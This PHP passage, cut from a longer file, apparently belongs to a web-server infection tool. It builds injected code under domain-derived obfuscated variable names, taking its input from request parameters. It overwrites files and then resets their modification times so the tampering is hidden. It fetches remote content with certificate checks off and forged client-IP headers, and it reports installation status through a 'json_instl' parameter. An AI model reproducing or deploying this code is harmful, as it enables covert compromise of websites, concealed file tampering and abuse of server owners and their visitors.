$code .= '$' . $url . ' = str_replace(\'' . $str_replace . '\', \'\', $' . $method . "['" . $url . "']);\r\n";
$code .= 'echo $' . $f_name . get_obf_nl() . '($' . $f_path . ', $' . $f_name2 . get_obf_nl() . '($' . $url . '));' . "\r\n";
$code .= '}';
$code = str_replace("\r\n", "\r\n".$spaces, $code);
return $code;
}
function generate_var_names($domain)
{
$domain_crc32 = sprintf('%u', crc32($domain . '123qweasdzxc'));
$symbols = array('b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z');
$symbols_replace = array('@','[',']','(',')','-','_','<','>',';',':');
if ($domain_crc32 < 100000) {
$domain_crc32 += 100000;
}
$domain_crc32 = floor($domain_crc32 / 2);
$f_name = $symbols[$domain_crc32 % count($symbols)] . substr($domain_crc32, 0, 3) . $symbols[floor($domain_crc32/3) % count($symbols)];
$domain_crc32 = floor($domain_crc32 / 2);
$f_name2 = $symbols[$domain_crc32 % count($symbols)] . substr($domain_crc32, 0, 3) . $symbols[floor($domain_crc32/3) % count($symbols)];
$domain_crc32 = floor($domain_crc32 / 2);
$f_path = $symbols[$domain_crc32 % count($symbols)] . substr($domain_crc32, 0, 3) . $symbols[floor($domain_crc32/3) % count($symbols)];
$domain_crc32 = floor($domain_crc32 / 2);
$url = $symbols[$domain_crc32 % count($symbols)] . substr($domain_crc32, 0, 3) . $symbols[floor($domain_crc32/3) % count($symbols)];
$domain_crc32 = floor($domain_crc32 / 2);
$str_replace = $symbols_replace[$domain_crc32 % count($symbols_replace)].$symbols[$domain_crc32 % count($symbols)].$symbols_replace[floor($domain_crc32/3) % count($symbols_replace)];
return array(
'f_name' => $f_name,
'f_name2' => $f_name2,
'f_path' => $f_path,
'url' => $url,
'str_replace' => $str_replace,
);
}
function about_file($path_file)
{
$res = '';
if (is_file($path_file)) {
$res .= 'file exists; ';
} else {
return 'file NOT exists';
}
if (is_writable($path_file)) {
$res .= 'file writable; ';
} else {
$res .= 'file NOT writable; ';
}
$data = file_get_contents($path_file);
if ($data !== false) {
$res .= 'size: '.strlen($data).'; ';
} else {
$res .= 'file NOT read; ';
}
return $res;
}
function rewrite_file($file, $cont, $need_chmod = false)
{
$comment = '';
if (!$cont) {
$comment .= "Content 0 length\r\n";
return array('status' => false, 'comment' => $comment);
}
if (!$file || !file_exists($file)) {
$comment .= "File not exists\r\n";
return array('status' => false, 'comment' => $comment);
}
$info = stat($file);
if (!$info) {
$comment .= "Not read mtime and atime\r\n";
$info['mtime'] = time() - 86400 * 7;
$info['atime'] = $info['mtime'];
}
if (!($perms = fileperms($file))) {
$comment .= "Cant read fileperms()\r\n";
} elseif ($need_chmod) {
if (!chmod($file, 0666)) {
$comment .= "Cant change chmod() #1\r\n";
}
}
$need_del_backup = true;
if (!($contents_old = file_get_contents($file))) {
$comment .= "Content 0 read\r\n";
} elseif (!file_put_contents($file . '_backup_', $contents_old)) {
$comment .= 'Cant write to "' . $file . "_backup_\"\r\n";
$need_del_backup = false;
}
if (!file_put_contents($file, $cont)) {
// for fixed "Device or resource busy"
clearstatcache();
if (function_exists("gc_collect_cycles")) {
gc_collect_cycles();
}
usleep(250000);
if (!unlink($file)) {
$comment .= "Cant unlink\r\n";
return array('status' => false, 'comment' => $comment);
}
if (!file_put_contents($file, $cont)) {
$comment .= "Cant write after unlink\r\n";
return array('status' => false, 'comment' => $comment);
}
}
if ($need_del_backup) {
unlink($file . '_backup_');
}
if ($need_chmod) {
if (!chmod($file, $perms)) {
$comment .= "Cant change chmod() #2\r\n";
}
}
if (!touch($file, $info['mtime'] - 1, $info['atime'])) {
$comment = "Cant touch\r\n";
}
return array('status' => true, 'comment' => $comment);
}
function d_get_cont(
$full_url,
$data = null,
$method = 'GET',
$use_compress = true,
$add_header = true,
$real_ip = false,
$allow_function = null // array(socket, curl, file_get)
) {
if (is_array($data)) {
$data = http_build_query($data);
}
if (is_string($allow_function)) {
$allow_function = array($allow_function);
}
$parse_url = parse_url($full_url);
if ($method === 'GET' && $data) {
$full_url .= (!empty($parse_url['query']) ? '&' : '?') . $data;
$parse_url = parse_url($full_url);
}
//$httpv = substr($_SERVER['SERVER_PROTOCOL'], -3, 3);
$httpv = '1.1';
$h = array();
if ($add_header) {
if (is_array($add_header)) {
$h = $add_header;
} elseif (function_exists('getallheaders') && $add_header === true) {
$h = array();//getallheaders(); // 12-2023 fix coz user-agent googlebot crash this
unset($h['content-type'], $h['Content-Type']);
//if (isset($h['content-type'])) {
// $h['Content-Type'] = $h['content-type'];
// unset($h['content-type']);
//}
if (isset($h['content-length'])) {
$h['Content-Length'] = $h['content-length'];
unset($h['content-length']);
}
if (isset($h['host']) || isset($h['Host'])) {
unset($h['Host'], $h['host']);
}
}
}
//if ($httpv === "2.0") {
// $httpv = "1.1";
//}
if ($use_compress === true && function_exists('gzdecode')) {
unset($h['Pragma'], $h['Cache-Control']);
$h['Accept-Encoding'] = 'gzip';
} else {
unset($h['Accept-Encoding'], $h['Accept-encoding']);
}
if ($real_ip) {
$h['X-Real-IP'] = $real_ip;
$h['Client-IP'] = $real_ip;
$h['X-Forwarded-For'] = $real_ip;
}
if (isset($h['Host']) && $h['Host'] == $parse_url['host']) {
if (isset($h['Cookie'])) {
$h['Cookie'] .= '; realquery=1';
}
}
$h['Connection'] = 'Close';
$opts = array(
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
);
if(function_exists('stream_socket_client') && (!$allow_function || in_array('socket', $allow_function))) {
$s = stream_socket_client(
($parse_url['scheme'] === 'https' ? 'ssl://' : '') . $parse_url['host'] . ':' . ($parse_url['scheme'] === 'https' ? 443 : 80),
$errno,
$errstr,
30,
4,
stream_context_create($opts)
);
if ($s === false) {
d_error500('bs1');
}
$h['Host'] = $parse_url['host'];
if ($method === 'POST') {
$headers = 'POST ' . ($parse_url['path'] ? $parse_url['path'] : '/') . (isset($parse_url['query']) ? '?' . $parse_url['query'] : '') . ' HTTP/' . $httpv . "\r\n";
if (!isset($h['Content-Type'])) {
$h['Content-Type'] = 'application/x-www-form-urlencoded';
}
$h['Content-Length'] = strlen($data);
} else {
unset($h['Content-Length']);
unset($h['content-length']);
$headers = 'GET ' . ($parse_url['path'] ? $parse_url['path'] : '/') . (isset($parse_url['query']) ? '?' . $parse_url['query'] : '') . ' HTTP/' . $httpv . "\r\n";
}
foreach ($h as $k => $v) {
$headers .= $k . ': ' . $v . "\r\n";
}
$headers .= "\r\n" . (($method === 'POST' && $data) ? $data : '');
if (fwrite($s, $headers) === false) {
d_error500('bs1');
}
$cont = '';
while ($bf = fread($s, 2048)) {
$cont .= $bf;
}
fclose($s);
list($headers, $cont) = explode("\r\n\r\n", $cont, 2);
if (
($ch_pos = stripos($headers, 'Transfer-Encoding:')) !== false
&& stripos($headers, 'chunked') !== false
) {
$tmp = $cont;
$lrn = strlen("\r\n");
$cont = '';
$ofs = 0;
do {
$p = strpos($tmp, "\r\n", $ofs);
$len = hexdec(substr($tmp, $ofs, $p - $ofs));
$cont .= substr($tmp, $p + $lrn, $len);
$ofs = $p + $lrn * 2 + $len;
} while ($len != 0);
$headers = substr_replace($headers, '', $ch_pos, stripos($headers, "\n", $ch_pos) + 1 - $ch_pos);
}
} elseif (function_exists('curl_init') && (!$allow_function || in_array('curl', $allow_function)) && ($s = curl_init($full_url)) !== false) {
if ($method === 'POST') {
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
} else {
unset($h['Content-Length']);
unset($h['content-length']);
}
if (isset($h['Host'])) {
unset($h['Host']);
}
$headers = array();
foreach ($h as $k => $v) {
$headers[] = $k . ': ' . $v;
}
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($s, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($s, CURLOPT_HEADER, 1);
if ($httpv === '1.1') {
curl_setopt($s, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
} elseif ($httpv === '1.0') {
curl_setopt($s, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
}
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
$cont = curl_exec($s);
curl_close($s);
list($headers, $cont) = explode("\r\n\r\n", $cont, 2);
} elseif(function_exists('file_get_contents') && (!$allow_function || in_array('file_get', $allow_function))) {
$opts['http']['follow_location'] = 0;
if ($method === 'POST') {
$opts['http']['method'] = 'POST';
$opts['http']['content'] = $data;
if (!isset($h['Content-Type'])) {
$h['Content-Type'] = 'application/x-www-form-urlencoded';
}
} else {
$opts['http']['method'] = 'GET';
unset($h['Content-Length']);
unset($h['content-length']);
}
if (isset($h['Host'])) {
unset($h['Host']);
}
$opts['http']['protocol_version'] = $httpv;
$opts['http']['timeout'] = 30;
$opts['http']['header'] = '';
foreach ($h as $k => $v) {
$opts['http']['header'] .= $k . ': ' . $v . "\r\n";
}
$s = file_get_contents($full_url, false, stream_context_create($opts));
if ($s === false) {
d_error500('bs3');
}
$headers = implode("\r\n", $http_response_header);
$cont = $s;
} else {
d_error500('bs0');
}
if (stripos($headers, 'Content-Encoding:') !== false) {
$cont = gzdecode($cont);
if (!$cont) {
d_error500('bs0');
}
}
$headers = preg_replace("#(\r\n|^)(Server|X-Powered-By|Content-Encoding):[^$]{1,}\r\n#iU", "\r\n", $headers);
return array('headers' => $headers, 'contents' => $cont);
}
function cmp_content($a, $b)
{
$val_a = $a['article'] * 10000 + $a['main'] * 100 + $a['main_custom'] - $a['len'];
$val_b = $b['article'] * 10000 + $b['main'] * 100 + $b['main_custom'] - $b['len'];
return $val_a - $val_b;
}
function sort_len($a, $b)
{
if ($a["len"] == $b["len"]) return 0;
if ($a["len"] < $b["len"]) return 1;
return -1;
}
//
/*if (isset($q)) {
$last_q[$q] = 1;
}*/
if (isset($_REQUEST['json_instl']) && $_REQUEST['json_instl']) {
$result_actions['last_q'] = $last_q;
if ($full_error_stack && is_array($full_error_stack) && count($full_error_stack)) {
$result_actions['php_errors'] = $full_error_stack;
} else {
$result_actions['php_errors'] = array();
}
unset($result_actions['html']);
exit(json_encode($result_actions));
}
?>